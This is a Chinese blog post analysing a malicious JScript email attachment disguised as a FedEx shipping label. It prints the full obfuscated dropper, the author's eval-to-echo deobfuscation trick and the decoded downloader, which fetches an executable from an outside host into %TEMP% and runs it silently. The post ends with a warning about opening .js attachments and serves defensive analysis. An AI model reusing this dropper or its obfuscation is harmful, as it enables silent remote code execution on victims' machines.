20160307 - 双击打开 Js 扩展名的附件要保持留心

Posted 2020-06-18 L

Windows Script Host 技术是一门很老的技术，它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象，这样的脚本具有本地权限，比如本地文件系统的访问，网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为：Label_00979216.doc.js，很简单的混淆并压缩，代码如下，

var a5 = ‘va‘;
var a3 = ‘l‘;
var a1 = ‘‘;
var a4 = ‘e‘;

function opx() {
    a1 += ‘s(‘;
    pfo();
};

function fef() {
    a1 += ‘Strea‘;
    iq();
};

function ciq() {
    a1 += ‘GET"‘;
    ch();
};

function m() {
    a1 += ‘ Act‘;
    es();
};

function obm() {
    a1 += ‘ v‘;
    sqf();
};

function fzw() {
    a1 += ‘rn‘;
    yeu();
};

function pab() {
    a1 += ‘Shel‘;
    xwm();
};

function cr() {
    a1 += ‘; xa.‘;
    elt();
};

function jj() {
    a1 += ‘xa =‘;
    rd();
};

function ny() {
    a1 += ‘ry ‘;
    wk();
};

function ke() {
    a1 += ‘fn‘;
    lh();
};

function wbl() {
    a1 += ‘e ==‘;
    fpg();
};

function ueh() {
    a1 += ‘9531‘;
    n();
};

function ma() {
    a1 += ‘= 0‘;
    cr();
};

function q() {
    a1 += ‘); xo‘;
    s();
};

function rb() {
    a1 += ‘2455‘;
    em();
};

function so() {
    a1 += ‘= ‘;
    upv();
};

function xo() {
    a1 += ‘pandE‘;
    dyu();
};

function xtj() {
    a1 += ‘r,fal‘;
    qj();
};

function j() {
    a1 += ‘);‘;
    lyg();
};

function dyr() {
    a1 += ‘pt.‘;
    pab();
};

function dyu() {
    a1 += ‘nvir‘;
    x();
};

function lyg() {
    a1 += ‘ }; }‘;
    pws();
};

function suv() {
    a1 += ‘00D10‘;
    tla();
};

function sdx() {
    a1 += ‘; ‘;
    wun();
};

function uet() {
    a1 += ‘rnd‘;
    jp();
};

function exo() {
    a1 += ‘n;‘;
    ht();
};

function wqb() {
    a1 += ‘r)‘;
    whi();
};

function zh() {
    a1 += ‘se‘;
    rj();
};

function zc() {
    a1 += ‘};‘;
    azk();
};

function elt() {
    a1 += ‘saveT‘;
    qw();
};

function x() {
    a1 += ‘on‘;
    jq();
};

function rj() {
    a1 += ‘nd()‘;
    twi();
};

function bmc() {
    a1 += ‘on‘;
    bq();
};

function xwm() {
    a1 += ‘l");‘;
    obm();
};

function dt() {
    a1 += ‘a.po‘;
    cn();
};

function yeu() {
    a1 += ‘ > 0‘;
    ws();
};

function ow() {
    a1 += ‘xe",1‘;
    gw();
};

function bxl() {
    a1 += ‘Strin‘;
    zko();
};

function le() {
    a1 += ‘); x‘;
    dt();
};

function nj() {
    a1 += ‘p?id‘;
    ctl();
};

function a() {
    a1 += ‘ new‘;
    m();
};

function mok() {
    a1 += ‘ 1; ‘;
    hma();
};

function e() {
    a1 += ‘Scri‘;
    dyr();
};

function qw() {
    a1 += ‘oFi‘;
    kg();
};

function pc() {
    a1 += ‘38‘;
    adj();
};

function ruz() {
    a1 += ‘)+f‘;
    exo();
};

function yfs() {
    a1 += ‘ }‘;
    cw();
};

function kva() {
    a1 += ‘L2.X‘;
    kf();
};

function ywg() {
    a1 += ‘,0,0)‘;
    ze();
};

function egd() {
    a1 += ‘a.o‘;
    gz();
};

function bq() {
    a1 += ‘() ‘;
    mqo();
};

function yey() {
    a1 += ‘dl(fr‘;
    fo();
};

function p() {
    a1 += ‘ng‘;
    opx();
};

function gw() {
    a1 += ‘);‘;
    ne();
};

function jp() {
    a1 += ‘=583‘;
    ueh();
};

function ze() {
    a1 += ‘; ‘;
    ywx();
};

function wk() {
    a1 += ‘{ x‘;
    lf();
};

function mqo() {
    a1 += ‘{ if‘;
    u();
};

function hma() {
    a1 += ‘xa.wr‘;
    oct();
};

function lyq() {
    a1 += ‘MS‘;
    ta();
};

function fo() {
    a1 += ‘,fn,‘;
    ra();
};

function aa() {
    a1 += ‘s5-‘;
    k();
};

function lf() {
    a1 += ‘o.‘;
    bqk();
};

function iec() {
    a1 += ‘onse‘;
    l();
};

function pws() {
    a1 += ‘; t‘;
    ny();
};

function gz() {
    a1 += ‘pen()‘;
    sdx();
};

function i() {
    a1 += ‘yst‘;
    lg();
};

function la() {
    a1 += ‘ =‘;
    tbz();
};

function ta() {
    a1 += ‘XM‘;
    kva();
};

function kf() {
    a1 += ‘MLH‘;
    zpg();
};

function yt() {
    a1 += ‘com/d‘;
    plz();
};

function ovq() {
    a1 += ‘P%")+‘;
    bxl();
};

function ia() {
    a1 += ‘:/‘;
    zll();
};

function kg() {
    a1 += ‘le(‘;
    ke();
};

function ff() {
    a1 += ‘r ws‘;
    y();
};

function pp() {
    a1 += ‘fn‘;
    ywg();
};

function n() {
    a1 += ‘","8‘;
    ym();
};

function g() {
    a1 += ‘xo ‘;
    so();
};

function ng() {
    a1 += ‘xo.‘;
    zh();
};

function mlz() {
    a1 += ‘("‘;
    ciq();
};

function ym() {
    a1 += ‘44‘;
    pc();
};

function kqc() {
    a1 += ‘09&‘;
    uet();
};

function omc() {
    a1 += ‘("W‘;
    e();
};

function wun() {
    a1 += ‘xa.ty‘;
    tp();
};

function ctl() {
    a1 += ‘=54‘;
    pt();
};

function lg() {
    a1 += ‘atec‘;
    ors();
};

function bmm() {
    a1 += ‘XObje‘;
    rvo();
};

function zko() {
    a1 += ‘g.fro‘;
    fr();
};

function ch() {
    a1 += ‘,f‘;
    xtj();
};

function l() {
    a1 += ‘Body‘;
    le();
};

function jq() {
    a1 += ‘mentS‘;
    jf();
};

function em() {
    a1 += ‘565‘;
    jet();
};

function cw() {
    a1 += ‘ catc‘;
    dig();
};

function yv() {
    a1 += ‘e(92‘;
    ruz();
};

function twi() {
    a1 += ‘; ‘;
    oy();
};

function ws() {
    a1 += ‘) { ‘;
    zo();
};

function zpg() {
    a1 += ‘TTP"‘;
    q();
};

function s() {
    a1 += ‘.onre‘;
    pao();
};

function rd() {
    a1 += ‘ new ‘;
    kh();
};

function vp() {
    a1 += ‘XOb‘;
    dwx();
};

function vrm() {
    a1 += ‘Act‘;
    v();
};

function oi() {
    a1 += ‘ion ‘;
    ma();
};

function lvc() {
    a1 += ‘D01‘;
    rb();
};

function pt() {
    a1 += ‘51‘;
    cg();
};

function bqk() {
    a1 += ‘open‘;
    mlz();
};

function etm() {
    a1 += ‘Run(‘;
    pp();
};

function hp() {
    a1 += ‘("AD‘;
    b();
};

function whi() {
    a1 += ‘ { }‘;
    ssb();
};

function v() {
    a1 += ‘ive‘;
    bmm();
};

function w() {
    a1 += ‘Stat‘;
    wbl();
};

function oct() {
    a1 += ‘ite‘;
    pd();
};

function zll() {
    a1 += ‘/app.‘;
    aa();
};

function qj() {
    a1 += ‘se); ‘;
    ng();
};

function plz() {
    a1 += ‘ocume‘;
    wld();
};

function oy() {
    a1 += ‘if (‘;
    fzw();
};

function b() {
    a1 += ‘ODB.‘;
    fef();
};

function h() {
    a1 += ‘ctio‘;
    o();
};

function zo() {
    a1 += ‘ws.‘;
    etm();
};

function es() {
    a1 += ‘ive‘;
    vp();
};

function r() {
    a1 += ‘va‘;
    ff();
};

function aey() {
    a1 += ‘rCod‘;
    yv();
};

function adj() {
    a1 += ‘33‘;
    fpe();
};

function tla() {
    a1 += ‘0D011‘;
    lvc();
};

function kh() {
    a1 += ‘Acti‘;
    zn();
};

function ors() {
    a1 += ‘hange‘;
    c();
};

function sqf() {
    a1 += ‘ar fn‘;
    la();
};

function zr() {
    a1 += ‘ var ‘;
    jj();
};

function jn() {
    a1 += ‘esp‘;
    iec();
};

function fpg() {
    a1 += ‘= 4‘;
    oh();
};

function iq() {
    a1 += ‘m")‘;
    tgk();
};

function nyj() {
    a1 += ‘ready‘;
    w();
};

function ht() {
    a1 += ‘ var ‘;
    g();
};

function k() {
    a1 += ‘tech.‘;
    yt();
};

function ttg() {
    a1 += ‘bject‘;
    hp();
};

function t() {
    a1 += ‘ncti‘;
    bmc();
};

function bb() {
    a1 += ‘xa.c‘;
    lfp();
};

function o() {
    a1 += ‘n ‘;
    yey();
};

function tbz() {
    a1 += ‘ ws‘;
    fkc();
};

function jf() {
    a1 += ‘tri‘;
    p();
};

function iiw() {
    a1 += ‘("‘;
    my();
};

function ssb() {
    a1 += ‘; ‘;
    zc();
};

function wq() {
    a1 += ‘0B‘;
    kqc();
};

function ra() {
    a1 += ‘rn)‘;
    tux();
};

function oh() {
    a1 += ‘) {‘;
    zr();
};

function my() {
    a1 += ‘http‘;
    ia();
};

function owg() {
    a1 += ‘fu‘;
    t();
};

function lh() {
    a1 += ‘,2); ‘;
    bb();
};

function tux() {
    a1 += ‘ { ‘;
    r();
};

function wld() {
    a1 += ‘nt.ph‘;
    nj();
};

function ywx() {
    a1 += ‘};‘;
    yfs();
};

function tgk() {
    a1 += ‘; x‘;
    egd();
};

function dwx() {
    a1 += ‘ject‘;
    omc();
};

function lfp() {
    a1 += ‘lose(‘;
    j();
};

function fpe() {
    a1 += ‘5.e‘;
    ow();
};

function upv() {
    a1 += ‘new ‘;
    vrm();
};

function kag() {
    a1 += ‘ =‘;
    mok();
};

function ne() {
    this[a4 + a5 + a3](a1);
};

function rvo() {
    a1 += ‘ct("‘;
    lyq();
};

function fr() {
    a1 += ‘mCha‘;
    aey();
};

function dig() {
    a1 += ‘h (e‘;
    wqb();
};

function u() {
    a1 += ‘ (xo.‘;
    nyj();
};

function y() {
    a1 += ‘ =‘;
    a();
};

function fkc() {
    a1 += ‘.Ex‘;
    xo();
};

function azk() {
    a1 += ‘ dl‘;
    iiw();
};

function tp() {
    a1 += ‘pe‘;
    kag();
};

function pd() {
    a1 += ‘(xo.R‘;
    jn();
};

function pao() {
    a1 += ‘ad‘;
    i();
};

function fs() {
    a1 += ‘fun‘;
    h();
};

function c() {
    a1 += ‘ = ‘;
    owg();
};

function jet() {
    a1 += ‘24A07‘;
    wq();
};

function cn() {
    a1 += ‘sit‘;
    oi();
};

function pfo() {
    a1 += ‘"%TEM‘;
    ovq();
};

function zn() {
    a1 += ‘veXO‘;
    ttg();
};

function cg() {
    a1 += ‘515E1‘;
    suv();
};
fs();

View Code

虽然简单，但这样的代码不会被任何杀毒软件识别并查杀，稍看了看，属于字符串拼接为一个函数并 eval 执行，于是将最终执行前的函数：

function gw() {
    a1 += ‘);‘;
    ne();
};

改为：

function gw() {
    a1 += ‘);‘;
    //ne();
    WScript.Echo(a1);
};

复制出内容如下：

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

似乎是远程下载一个文件写入本地，并执行。地址已经失效，于是没有下载作进一步的分析。

但提醒一下：双击打开 Js 扩展名的附件要保持留心。